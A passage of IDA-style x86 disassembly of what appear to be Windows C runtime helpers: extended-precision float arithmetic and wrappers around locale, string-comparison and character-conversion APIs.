		test	ecx, ecx
		jnz	short loc_434229
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_434229
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_434229
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_434229
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_434499
; ---------------------------------------------------------------------------


loc_434229:				; CODE XREF: sub_434060+178j
					; sub_434060+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_434242
; ---------------------------------------------------------------------------


loc_434239:				; CODE XREF: sub_434060+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_434242:				; CODE XREF: sub_434060+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_434301
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_434271
; ---------------------------------------------------------------------------


loc_434268:				; CODE XREF: sub_434060+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx


loc_434271:				; CODE XREF: sub_434060+206j
		cmp	[ebp+var_34], 0
		jle	short loc_4342F3
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4342DC
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax


loc_4342DC:				; CODE XREF: sub_434060+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_434268
; ---------------------------------------------------------------------------


loc_4342F3:				; CODE XREF: sub_434060+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_434239
; ---------------------------------------------------------------------------


loc_434301:				; CODE XREF: sub_434060+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx


loc_43430E:				; CODE XREF: sub_434060+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43433D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43433D
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_4310D0
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43430E
; ---------------------------------------------------------------------------


loc_43433D:				; CODE XREF: sub_434060+2B4j
					; sub_434060+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_43439D
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx


loc_434351:				; CODE XREF: sub_434060+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_43438C
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_434372
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_434372:				; CODE XREF: sub_434060+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_431130
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_434351
; ---------------------------------------------------------------------------


loc_43438C:				; CODE XREF: sub_434060+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_43439D
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx


loc_43439D:				; CODE XREF: sub_434060+2E3j
					; sub_434060+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_4343BD
		mov	ecx, [ebp+var_14]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_43441E


loc_4343BD:				; CODE XREF: sub_434060+34Aj
		cmp	[ebp+var_14+2],	0FFFFFFFFh
		jnz	short loc_434415
		mov	[ebp+var_14+2],	0
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_43440A
		mov	[ebp+var_10+2],	0
		mov	edx, [ebp+var_C+2]
		and	edx, 0FFFFh
		cmp	edx, 0FFFFh
		jnz	short loc_4343FC
		mov	word ptr [ebp+var_C+2],	8000h
		mov	ax, word ptr [ebp+var_30]
		add	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_434408
; ---------------------------------------------------------------------------


loc_4343FC:				; CODE XREF: sub_434060+386j
		mov	cx, word ptr [ebp+var_C+2]
		add	cx, 1
		mov	word ptr [ebp+var_C+2],	cx


loc_434408:				; CODE XREF: sub_434060+39Aj
		jmp	short loc_434413
; ---------------------------------------------------------------------------


loc_43440A:				; CODE XREF: sub_434060+36Ej
		mov	edx, [ebp+var_10+2]
		add	edx, 1
		mov	[ebp+var_10+2],	edx


loc_434413:				; CODE XREF: sub_434060:loc_434408j
		jmp	short loc_43441E
; ---------------------------------------------------------------------------


loc_434415:				; CODE XREF: sub_434060+361j
		mov	eax, [ebp+var_14+2]
		add	eax, 1
		mov	[ebp+var_14+2],	eax


loc_43441E:				; CODE XREF: sub_434060+35Bj
					; sub_434060:loc_434413j
		mov	ecx, [ebp+var_30]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jl	short loc_434463
		mov	edx, [ebp+var_2C]
		and	edx, 0FFFFh
		neg	edx
		sbb	edx, edx
		and	edx, 80000000h
		add	edx, 7FFF8000h
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	short loc_434499
; ---------------------------------------------------------------------------


loc_434463:				; CODE XREF: sub_434060+3CDj
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+var_14+2]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_10]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax


loc_434499:				; CODE XREF: sub_434060+EFj
					; sub_434060+122j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_434060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4344A0	proc near		; CODE XREF: sub_4312E0+914p
					; sub_431E60+288p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, offset dword_4526E0
		sub	eax, 60h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 0
		jnz	short loc_4344BC
		jmp	loc_43455F
; ---------------------------------------------------------------------------


loc_4344BC:				; CODE XREF: sub_4344A0+15j
		cmp	[ebp+arg_4], 0
		jge	short loc_4344D5
		mov	ecx, [ebp+arg_4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		mov	edx, offset dword_452840
		sub	edx, 60h
		mov	[ebp+var_4], edx


loc_4344D5:				; CODE XREF: sub_4344A0+20j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4344E3
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0


loc_4344E3:				; CODE XREF: sub_4344A0+39j
					; sub_4344A0+6Aj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_43455F
		mov	ecx, [ebp+var_4]
		add	ecx, 54h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 7
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_4]
		sar	eax, 3
		mov	[ebp+arg_4], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_43450C
		jmp	short loc_4344E3
; ---------------------------------------------------------------------------


loc_43450C:				; CODE XREF: sub_4344A0+68j
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 8000h
		jl	short loc_43454D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_14], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_10], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14+2]
		sub	eax, 1
		mov	[ebp+var_14+2],	eax
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx


loc_43454D:				; CODE XREF: sub_4344A0+88j
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_434060
		add	esp, 8
		jmp	short loc_4344E3
; ---------------------------------------------------------------------------


loc_43455F:				; CODE XREF: sub_4344A0+17j
					; sub_4344A0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_4344A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434570	proc near		; CODE XREF: sub_4323B0+9Bp
					; sub_4350F0+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_43457E
		xor	eax, eax
		jmp	short loc_4345BB
; ---------------------------------------------------------------------------


loc_43457E:				; CODE XREF: sub_434570+8j
		mov	eax, dword_4EFD4C
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, dword_4EFF64
		push	edx
		call	sub_4349C0
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4345B5
		mov	eax, 7FFFFFFFh
		jmp	short loc_4345BB
; ---------------------------------------------------------------------------


loc_4345B5:				; CODE XREF: sub_434570+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2


loc_4345BB:				; CODE XREF: sub_434570+Cj
					; sub_434570+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_434570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4345C0	proc near		; CODE XREF: sub_4323B0+2Dp
					; sub_434E10+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4EF8A0
		mov	[ebp+var_4], eax


loc_4345CE:				; CODE XREF: sub_4345C0+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_434668
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_434602
		or	eax, 0FFFFFFFFh
		jmp	short loc_43466A
; ---------------------------------------------------------------------------


loc_434602:				; CODE XREF: sub_4345C0+3Bj
		push	3Dh
		push	offset dword_438F08
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_434625
		or	eax, 0FFFFFFFFh
		jmp	short loc_43466A
; ---------------------------------------------------------------------------


loc_434625:				; CODE XREF: sub_4345C0+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		call	dword_4F141C	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_43464C
		or	eax, 0FFFFFFFFh
		jmp	short loc_43466A
; ---------------------------------------------------------------------------


loc_43464C:				; CODE XREF: sub_4345C0+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_434E10
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_4345CE
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: sub_4345C0+14j
		xor	eax, eax


loc_43466A:				; CODE XREF: sub_4345C0+40j
					; sub_4345C0+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4345C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434670	proc near		; CODE XREF: sub_4338F0+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438F18
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EFC0C, 0
		jnz	short loc_4346E2
		push	0
		push	0
		push	1
		push	0
		call	dword_4F12CC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_4346BD
		mov	dword_4EFC0C, 1
		jmp	short loc_4346E2
; ---------------------------------------------------------------------------


loc_4346BD:				; CODE XREF: sub_434670+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4F1380	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_4346DB
		mov	dword_4EFC0C, 2
		jmp	short loc_4346E2
; ---------------------------------------------------------------------------


loc_4346DB:				; CODE XREF: sub_434670+5Dj
		xor	eax, eax
		jmp	loc_4347F1
; ---------------------------------------------------------------------------


loc_4346E2:				; CODE XREF: sub_434670+2Dj
					; sub_434670+4Bj ...
		cmp	dword_4EFC0C, 1
		jnz	short loc_434706
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12CC	; GetLocaleInfoW
		jmp	loc_4347F1
; ---------------------------------------------------------------------------


loc_434706:				; CODE XREF: sub_434670+79j
		cmp	dword_4EFC0C, 2
		jnz	loc_4347EF
		cmp	[ebp+arg_10], 0
		jnz	short loc_434722
		mov	ecx, dword_4EF984
		mov	[ebp+arg_10], ecx


loc_434722:				; CODE XREF: sub_434670+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1380	; GetLocaleInfoA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_434744
		xor	eax, eax
		jmp	loc_4347F1
; ---------------------------------------------------------------------------


loc_434744:				; CODE XREF: sub_434670+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_434784
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_434784:				; CODE XREF: sub_434670+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_43478E
		xor	eax, eax
		jmp	short loc_4347F1
; ---------------------------------------------------------------------------


loc_43478E:				; CODE XREF: sub_434670+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F1380	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4347AC
		xor	eax, eax
		jmp	short loc_4347F1
; ---------------------------------------------------------------------------


loc_4347AC:				; CODE XREF: sub_434670+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4347CD
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_24], eax
		jmp	short loc_4347EA
; ---------------------------------------------------------------------------


loc_4347CD:				; CODE XREF: sub_434670+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_24], eax


loc_4347EA:				; CODE XREF: sub_434670+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_4347F1
; ---------------------------------------------------------------------------


loc_4347EF:				; CODE XREF: sub_434670+9Dj
		xor	eax, eax


loc_4347F1:				; CODE XREF: sub_434670+6Dj
					; sub_434670+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_434670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434810	proc near		; CODE XREF: sub_4338F0+4Bp
					; sub_4338F0+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438F28
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EFC10, 0
		jnz	short loc_434882
		push	0
		push	0
		push	1
		push	0
		call	dword_4F12CC	; GetLocaleInfoW
		test	eax, eax
		jz	short loc_43485D
		mov	dword_4EFC10, 1
		jmp	short loc_434882
; ---------------------------------------------------------------------------


loc_43485D:				; CODE XREF: sub_434810+3Fj
		push	0
		push	0
		push	1
		push	0
		call	dword_4F1380	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_43487B
		mov	dword_4EFC10, 2
		jmp	short loc_434882
; ---------------------------------------------------------------------------


loc_43487B:				; CODE XREF: sub_434810+5Dj
		xor	eax, eax
		jmp	loc_4349A1
; ---------------------------------------------------------------------------


loc_434882:				; CODE XREF: sub_434810+2Dj
					; sub_434810+4Bj ...
		cmp	dword_4EFC10, 2
		jnz	short loc_4348A6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1380	; GetLocaleInfoA
		jmp	loc_4349A1
; ---------------------------------------------------------------------------


loc_4348A6:				; CODE XREF: sub_434810+79j
		cmp	dword_4EFC10, 1
		jnz	loc_43499F
		cmp	[ebp+arg_10], 0
		jnz	short loc_4348C2
		mov	ecx, dword_4EF984
		mov	[ebp+arg_10], ecx


loc_4348C2:				; CODE XREF: sub_434810+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12CC	; GetLocaleInfoW
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4348E4
		xor	eax, eax
		jmp	loc_4349A1
; ---------------------------------------------------------------------------


loc_4348E4:				; CODE XREF: sub_434810+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_434926
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_434926:				; CODE XREF: sub_434810+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_434930
		xor	eax, eax
		jmp	short loc_4349A1
; ---------------------------------------------------------------------------


loc_434930:				; CODE XREF: sub_434810+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F12CC	; GetLocaleInfoW
		test	eax, eax
		jnz	short loc_43494E
		xor	eax, eax
		jmp	short loc_4349A1
; ---------------------------------------------------------------------------


loc_43494E:				; CODE XREF: sub_434810+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_434976
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		jmp	short loc_43499A
; ---------------------------------------------------------------------------


loc_434976:				; CODE XREF: sub_434810+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_24], eax


loc_43499A:				; CODE XREF: sub_434810+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_4349A1
; ---------------------------------------------------------------------------


loc_43499F:				; CODE XREF: sub_434810+9Dj
		xor	eax, eax


loc_4349A1:				; CODE XREF: sub_434810+6Dj
					; sub_434810+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_434810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4349C0	proc near		; CODE XREF: sub_434570+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438F80
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EFC14, 0
		jnz	short loc_434A46
		push	1
		push	offset dword_4382B8
		push	1
		push	offset dword_4382B8
		push	0
		push	0
		call	dword_4F12C4	; CompareStringW
		test	eax, eax
		jz	short loc_434A17
		mov	dword_4EFC14, 1
		jmp	short loc_434A46
; ---------------------------------------------------------------------------


loc_434A17:				; CODE XREF: sub_4349C0+49j
		push	1
		push	offset dword_4382B4
		push	1
		push	offset dword_4382B4
		push	0
		push	0
		call	dword_4F12C8	; CompareStringA
		test	eax, eax
		jz	short loc_434A3F
		mov	dword_4EFC14, 2
		jmp	short loc_434A46
; ---------------------------------------------------------------------------


loc_434A3F:				; CODE XREF: sub_4349C0+71j
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434A46:				; CODE XREF: sub_4349C0+2Dj
					; sub_4349C0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_434A5F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_434DC0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_434A5F:				; CODE XREF: sub_4349C0+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_434A78
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_434DC0
		add	esp, 8
		mov	[ebp+arg_14], eax


loc_434A78:				; CODE XREF: sub_4349C0+A3j
		cmp	dword_4EFC14, 2
		jnz	short loc_434AA4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12C8	; CompareStringA
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434AA4:				; CODE XREF: sub_4349C0+BFj
		cmp	dword_4EFC14, 1
		jnz	loc_434DA2
		cmp	[ebp+arg_18], 0
		jnz	short loc_434AC0
		mov	ecx, dword_4EF984
		mov	[ebp+arg_18], ecx


loc_434AC0:				; CODE XREF: sub_4349C0+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_434AD0
		cmp	[ebp+arg_14], 0
		jnz	loc_434C4C


loc_434AD0:				; CODE XREF: sub_4349C0+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_434AE2
		mov	eax, 2
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434AE2:				; CODE XREF: sub_4349C0+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_434AF2
		mov	eax, 1
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434AF2:				; CODE XREF: sub_4349C0+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_434B02
		mov	eax, 3
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434B02:				; CODE XREF: sub_4349C0+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4F14B0	; GetCPInfo
		test	eax, eax
		jnz	short loc_434B1B
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434B1B:				; CODE XREF: sub_4349C0+152j
					; sub_4349C0+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_434B27
		cmp	[ebp+arg_14], 1
		jz	short loc_434B54


loc_434B27:				; CODE XREF: sub_4349C0+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_434B33
		cmp	[ebp+arg_14], 0
		jz	short loc_434B54


loc_434B33:				; CODE XREF: sub_4349C0+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_438F34
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_434B54
		int	3		; Trap to Debugger


loc_434B54:				; CODE XREF: sub_4349C0+165j
					; sub_4349C0+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_434B1B
		cmp	[ebp+arg_C], 0
